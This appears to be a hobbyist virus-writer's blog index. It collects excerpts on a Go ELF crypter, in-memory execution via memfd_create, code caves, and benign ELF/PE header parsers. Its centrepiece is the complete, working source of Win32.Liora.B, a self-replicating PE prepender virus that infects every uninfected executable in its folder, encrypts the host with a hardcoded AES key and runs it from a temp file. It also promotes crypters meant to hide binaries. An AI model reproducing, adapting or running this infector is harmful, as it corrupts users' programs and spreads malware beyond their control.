Golang

Linux ELF Runtime Crypter

5 minute read Published:

Ezuri: A Simple Linux ELF Runtime Crypter Using memfd_create Syscall

"Even for Elves, they were stealthy little twerps. They'd taken our measure before we'd even seen them." — Marshall Volnikov
Last month I wrote a [post](https://www.guitmz.com/running-elf-from-memory/) about the `memfd_create` syscall and left some ideas in the end. Today I'm here to show an example of such ideas implemented in an ELF runtime crypter (kinda lame, I know, but good for this demonstration).

What is it?

Glad you asked. Ezuri is a small Go crypter that uses AES to encrypt a given file and merges it with a stub that will decrypt and execute the file from memory (using the previously mentioned memfd_create syscall). My original goal was to write it in Assembly but that would require more time so it is a task for the future.

Running ELF executables from memory

7 minute read Published:

Executing ELF binary files from memory with memfd_create syscall

Something that always fascinated me was running code directly from memory. From [Process Hollowing](https://www.adlice.com/runpe-hide-code-behind-legit-process/) (aka RunPE) to `PTRACE` [injection](https://blog.xpnsec.com/linux-process-injection-aka-injecting-into-sshd-for-fun/). I had some success playing around with it in `C` in the past, without using any of the previous mentioned methods, but unfortunately the code is lost somewhere in the forums of `VXHeavens` (sadly no longer online) but the code was buggy and worked only with Linux 32bit systems (I wish I knew about [shm_open](http://man7.org/linux/man-pages/man3/shm_open.3.html) back then, which is sort of an alternative for the syscall we are using in this post, mainly targeting older systems where `memfd_create` is not available).

Overview and code

Recently, I have been trying to code in assembly a bit, I find it very interesting and I believe every developer should understand at least the basics of it. I chose FASM as my assembler because I think it is very simple, powerful and I like its concepts (like same source, same output). More information about its design can be found here. Anyway, I have written a small tool, memrun, that allows you to run ELF files from memory using the memfd_create syscall, which is available in Linux where kernel version is >= 3.17.

Yet Another Weather Indicator

3 minute read Published:

A simple GTK weather indicator written in Go because why not.

Recently I started using Openbox as my WM again (after a long time with KDE, the nostalgia hit me). After I had everything working as I wanted to, I noticed the lack of a weather indicator in my systray.

Usually, the desktop environments I have used (Gnome, KDE, Mate) have some sort of applet for this included and I really never bothered (when I was using Openbox before, I had some hacky script that would display the weather in my tint2, but I can’t find it anymore). So I came across go-gtk and felt compeled to write my own tiny indicator.

More fun with ELF files and GoLang - Code Caves

2 minute read Published:

Finding code caves in ELF binaries with GoLang
A code cave is a piece of code that is written to a process's memory by another program. The code can be executed by creating a remote thread within the target process. The Code cave of a code is often a reference to a section of the code’s script functions that have capacity for the injection of custom instructions. For example, if a script’s memory allows for 5 bytes and only 3 bytes are used, then the remaining 2 bytes can be used to add external code to the script. This is what is referred to as a Code cave.

Yup. That’s about it. Fascinating yet simple. I remember when I first read about this years ago and I was amazed (and still am!).

Having fun with ELF files and GoLang

2 minute read Published:

Opening ELF files with GoLang

Now I will show how GoLang interacts with ELF files in a generic example. You could look further into the native module here. I do recommend reading it, I am using some bits of code extracted directly from the module source.

It is basically the same idea as the PE, similar module. You can extend it depending on your needs.

Here you go.

package main

import (
	"fmt"
	"io"
	"os"
	"debug/elf"
)

func check(e error) {
    if e != nil {
        panic(e)
    }
}

func ioReader(file string) io.ReaderAt {
	r, err := os.Open(file)
	check(err)
	return r
}

func main() {
	
	if len(os.Args) < 2 {
		fmt.Println("Usage: elftest elf_file")
		os.Exit(1)
	}
	f := ioReader(os.Args[1])
	_elf, err := elf.NewFile(f)
	check(err)

	// Read and decode ELF identifier
	var ident [16]uint8
	f.ReadAt(ident[0:], 0)
	check(err)
	
	if ident[0] != '\x7f' || ident[1] != 'E' || ident[2] != 'L' || ident[3] != 'F' {
		fmt.Printf("Bad magic number at %d\n", ident[0:4])
		os.Exit(1)
	}
	
	var arch string
	switch _elf.Class.String() {
		case "ELFCLASS64":
			arch = "64 bits"
		case "ELFCLASS32":
			arch = "32 bits"
	}
	 
	var mach string
	switch _elf.Machine.String() {
		case "EM_AARCH64":
			mach = "ARM64"
		case "EM_386":
			mach = "x86"
		case "EM_X86_64":
			mach = "x86_64"
	}
			
	fmt.Printf("File Header: ")
	fmt.Println(_elf.FileHeader)
	fmt.Printf("ELF Class: %s\n", arch)
	fmt.Printf("Machine: %s\n", mach)
	fmt.Printf("ELF Type: %s\n", _elf.Type)
	fmt.Printf("ELF Data: %s\n", _elf.Data)
	fmt.Printf("Entry Point: %d\n", _elf.Entry)
	fmt.Printf("Section Addresses: %d\n", _elf.Sections)
	
}

Compile with: go build -i elftest.go

Having fun with PE files and GoLang

2 minute read Published:

Opening PE files with GoLang

New blog design, new post.

Today I will show how GoLang interacts with PE files in a generic example. You could look further into the native module here or even check its source code here. I do recommend reading it, I am using some bits of code extracted directly from the module source.

Here you go.

package main

import (
	"fmt"
	"debug/pe"
	"os"
	"io"
	"encoding/binary"
)

func check(e error) {
    if e != nil {
        panic(e)
    }
}

func ioReader(file string) io.ReaderAt {
	r, err := os.Open(file)
	check(err)
	return r
}

func main() {
	
if len(os.Args) < 2 {
		fmt.Println("Usage: petest pe_file")
		os.Exit(1)
	}

	file := ioReader(os.Args[1])
	f, err := pe.NewFile(file)
	check(err)
	
	var sizeofOptionalHeader32 = uint16(binary.Size(pe.OptionalHeader32{}))
	var sizeofOptionalHeader64 = uint16(binary.Size(pe.OptionalHeader64{}))
	
	var dosheader [96]byte	
	var sign [4]byte
	file.ReadAt(dosheader[0:], 0)
	var base int64
	if dosheader[0] == 'M' && dosheader[1] == 'Z' {
		signoff := int64(binary.LittleEndian.Uint32(dosheader[0x3c:]))
		//var sign [4]byte
		file.ReadAt(sign[:], signoff)
		if !(sign[0] == 'P' && sign[1] == 'E' && sign[2] == 0 && sign[3] == 0) {
			fmt.Printf("Invalid PE File Format.\n")
		}
		base = signoff + 4
	} else {
		base = int64(0)
	}

	sr := io.NewSectionReader(file, 0, 1<<63-1)
	sr.Seek(base, os.SEEK_SET)
	binary.Read(sr, binary.LittleEndian, &f.FileHeader)

	var oh32 pe.OptionalHeader32
	var oh64 pe.OptionalHeader64
	var x86_x64 string
	var magicNumber uint16
	
	switch f.FileHeader.SizeOfOptionalHeader {
		case sizeofOptionalHeader32:
			binary.Read(sr, binary.LittleEndian, &oh32)
			if oh32.Magic != 0x10b { // PE32
				fmt.Printf("pe32 optional header has unexpected Magic of 0x%x", oh32.Magic)
			}
			magicNumber = oh32.Magic
			x86_x64 = "x86"

		case sizeofOptionalHeader64:
			binary.Read(sr, binary.LittleEndian, &oh64)
			if oh64.Magic != 0x20b { // PE32+
				fmt.Printf("pe32+ optional header has unexpected Magic of 0x%x", oh64.Magic)
			}
			magicNumber = oh64.Magic
			x86_x64 = "x64"
	}
	
	var isDLL bool
	if (f.Characteristics & 0x2000) == 0x2000 {
		isDLL = true
	} else if (f.Characteristics & 0x2000) != 0x2000 {
		isDLL = false
	}
	
	var isSYS bool
	if (f.Characteristics & 0x1000) == 0x1000 {
		isSYS = true
	} else if (f.Characteristics & 0x1000) != 0x1000 {
		isSYS = false
	}
		
	f.Close() //close file handle
	
	
	fmt.Printf("OptionalHeader: %#x\n", f.OptionalHeader)
	fmt.Printf("DLL File: %t\n", isDLL)
	fmt.Printf("SYS File: %t\n", isSYS)
	fmt.Printf("Base: %d\n", base)
	fmt.Printf("File type: %c%c\n", sign[0],sign[1])
	fmt.Printf("dosheader[0]: %c\n", dosheader[0])
	fmt.Printf("dosheader[1]: %c\n", dosheader[1])
	fmt.Printf("MagicNumber: %#x (%s)\n", magicNumber, x86_x64)

}

Compile with: go build -i pe_test.go

Win32.Liora.B

5 minute read Published:

Windows version of Linux.Liora

So I decided to port my Linux.Liora (https://github.com/guitmz/go-liora) Go infector to Win32 and it worked great. Minor tweaks were needed in the code, you can run a diff between both and check it out.

EDIT: Fixed the PE verification routine, it checks for a proper PE file now. Thanks hh86!

Virus source:

/*
* Win32.Liora.B - This is a POC PE prepender written in Go by TMZ (2015).
*
* Win32.Liora.B (May 2015) - Simple binary infector in GoLang (prepender).
* This version encrypts the host code with AES and decrypts it at runtime.
* It's almost a direct port from my GoLang ELF infector Linux.Liora, just a few tweaks.
*
* Compile with: go build -i liora_b.go (where go >= 1.4.2)
* It has no external dependencies so it should compile under most systems (x86 and x86_64).
*
* Use at your own risk, I'm not responsible for any damages that this may cause.
*
* A big shout for those who keeps the scene alive: herm1t, alcopaul, SPTH, hh86, genetix, R3s1stanc3 and many others :)
*
* Feel free to email me: tmz@null.net || You can also find me at http://vxheaven.org/ and on Twitter @TMZvx
* 
* http://vx.thomazi.me
*/

package main

import (
    "bufio"
    "io"
    "io/ioutil"
    "os"
    "os/exec"
    "strings"
    "crypto/aes"
    "crypto/cipher"
    "math/rand"
    "time"
    "debug/pe"
    "encoding/binary"
)

func check(e error) {
    // Reading files requires checking most calls for errors.
    // This helper will streamline our error checks below.
    if e != nil {
        panic(e)
    }
}

func _ioReader(file string) io.ReaderAt {
	r, err := os.Open(file)
	check(err)
	return r
}

func CheckPE(file string) bool {
	
	r := _ioReader(file) //reader interface for file
	f, err := pe.NewFile(r) //open the file as a PE
	if err != nil {
		return false //Not a PE file
	}
	
	//Reading DOS header
	var dosheader [96]byte		
	r.ReadAt(dosheader[0:], 0)
	if dosheader[0] == 'M' && dosheader[1] == 'Z' { //if we get MZ
		signoff := int64(binary.LittleEndian.Uint32(dosheader[0x3c:]))
		var sign [4]byte
		r.ReadAt(sign[:], signoff)
		if !(sign[0] == 'P' && sign[1] == 'E' && sign[2] == 0 && sign[3] == 0) { //if not PE\0\0
			return false //Invalid PE File Format
		}
	}	
	if (f.Characteristics & 0x2000) == 0x2000 { //IMAGE_FILE_DLL signature
		return false //it's a DLL, OCX, CPL file, we dont want that
	} 
	
	f.Close()
	return true //all checks passed

}

func CheckInfected(file string) bool {
	
	_mark := "=TMZ=" //infection mark
 	fi, err := os.Open(file)
	check(err)
	myStat, err := fi.Stat()
 	check(err)	
	size := myStat.Size()
	
	buf := make([]byte, size)
	fi.Read(buf)
	fi.Close()
	var x int64
	for x = 1; x < size; x++ {
        if buf[x] == _mark[0] {
			var y int64           
            for y = 1; y < int64(len(_mark)); y++ {
                if (x + y) >= size {
                        break
					}
                    if buf[x + y] != _mark[y] {
                            break
					}
                }
                if y == int64(len(_mark)) {
                    return true; //infected!
                }
			}
		}
    return false; //not infected
}

func Infect(file string) {

	dat, err := ioutil.ReadFile(file) //read host
	check(err)	
	vir, err := os.Open(os.Args[0]) //read virus
	check(err)
	virbuf := make([]byte, 3039232)
	vir.Read(virbuf)
	
	encDat := Encrypt(dat) //encrypt host
	
	f, err := os.OpenFile(file, os.O_RDWR, 0666) //open host
 	check(err)
	
  	w := bufio.NewWriter(f)
	w.Write(virbuf) //write virus
	w.Write(encDat) //write encypted host
	w.Flush() //make sure we are all set
	f.Close()
	vir.Close()
	
}
   
func RunHost() {
	
	hostbytes := Rnd(8) + ".exe" //generate random name
	
	h, err := os.Create(hostbytes) //create tmp with above name (same folder)
	check(err)
	
	allSZ := GetSz(os.Args[0]) //get size of myself
	//allSZ := len(infected_data) //get file full size
	hostSZ := allSZ - 3039232 //calculate host size
	
	f, err := os.Open(os.Args[0]) //open host
 	check(err)
		
	f.Seek(3039232, os.SEEK_SET) //go to host start
	
	hostBuf := make([]byte, hostSZ)
	f.Read(hostBuf) //read it until hostBuf size

	plainHost := Decrypt(hostBuf) //decrypt host

	w := bufio.NewWriter(h)
	w.Write(plainHost) //write plain host to tmp file
	w.Flush() //make sure we are all set
	h.Close()
	f.Close()
	
	os.Chmod(hostbytes, 0755) //give it proper permissions

	if len(os.Args) > 1 {
		cmd := exec.Command(hostbytes, os.Args[1]) //create the command
		cmd.Start() //execute it
		err = cmd.Wait() //wait process to finish
	} else {
		cmd := exec.Command(hostbytes) //create the command w/o args
		cmd.Start() //execute it
		err = cmd.Wait() //wait process to finish
	}
	os.Remove(hostbytes) //delete tmp file
}
 
func Encrypt(toEnc []byte) []byte {
	
    key := "SUPER_SECRET_KEY" // 16 bytes!
    block,err := aes.NewCipher([]byte(key))
    check(err)

    // 16 bytes for AES-128, 24 bytes for AES-192, 32 bytes for AES-256
    ciphertext := []byte("ASUPER_SECRET_IV") 
    iv := ciphertext[:aes.BlockSize] // const BlockSize = 16
	
    encrypter := cipher.NewCFBEncrypter(block, iv)

    encrypted := make([]byte, len(toEnc))
    encrypter.XORKeyStream(encrypted, toEnc)

    //fmt.Printf("%s encrypted to %v\n", toEnc, encrypted)
    return encrypted
	
}

func Decrypt(toDec []byte) []byte {

    key := "SUPER_SECRET_KEY" // 16 bytes
    block,err := aes.NewCipher([]byte(key))
    check(err)
	
    // 16 bytes for AES-128, 24 bytes for AES-192, 32 bytes for AES-256
    ciphertext := []byte("ASUPER_SECRET_IV") 
    iv := ciphertext[:aes.BlockSize] // const BlockSize = 16
	
    decrypter := cipher.NewCFBDecrypter(block, iv) // simple

    decrypted := make([]byte, len(toDec))
    decrypter.XORKeyStream(decrypted, toDec)

    return decrypted
}

func Rnd(n int) string {
	
    rand.Seed(time.Now().UTC().UnixNano())
    var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
    b := make([]rune, n)
    for i := range b {
        b[i] = letters[rand.Intn(len(letters))]
    }
    return string(b)

}

func GetSz(file string) int64 {

	myHnd, err := os.Open(file)
	check(err)
	defer myHnd.Close()
	myStat, err := myHnd.Stat()
	check(err)
	mySZ := myStat.Size()
	myHnd.Close()
	return mySZ
}

func main() {

	virPath := os.Args[0]

	files, _ := ioutil.ReadDir(".")
	for _, f := range files { 
		if CheckPE(f.Name()) == true {
			if CheckInfected(f.Name()) == false {
				if !strings.Contains(virPath, f.Name()) {
					Infect(f.Name())
				}	
			}	
		}
	}

	if GetSz(os.Args[0]) > 3039232 {
		RunHost()
	} else {
		os.Exit(0)
	}
}

More to come soon.

Linux.Liora: a Go virus

5 minute read Published:

Simple prepender virus written in GoLang

So this guy asks me in a job interview last week “Have you ever developed in Go?” and well what’s best to learn a language than writting a prepender (probably a lot of things but don’t kill my thrill)?

There you have it, the probably first ever binary infector written in GoLang (SPTH LIP hxxp://spth.virii.lu/LIP.html “outdately” confirms that - replace hxxp with http, this website is wrongly classified as malicious for some security tools).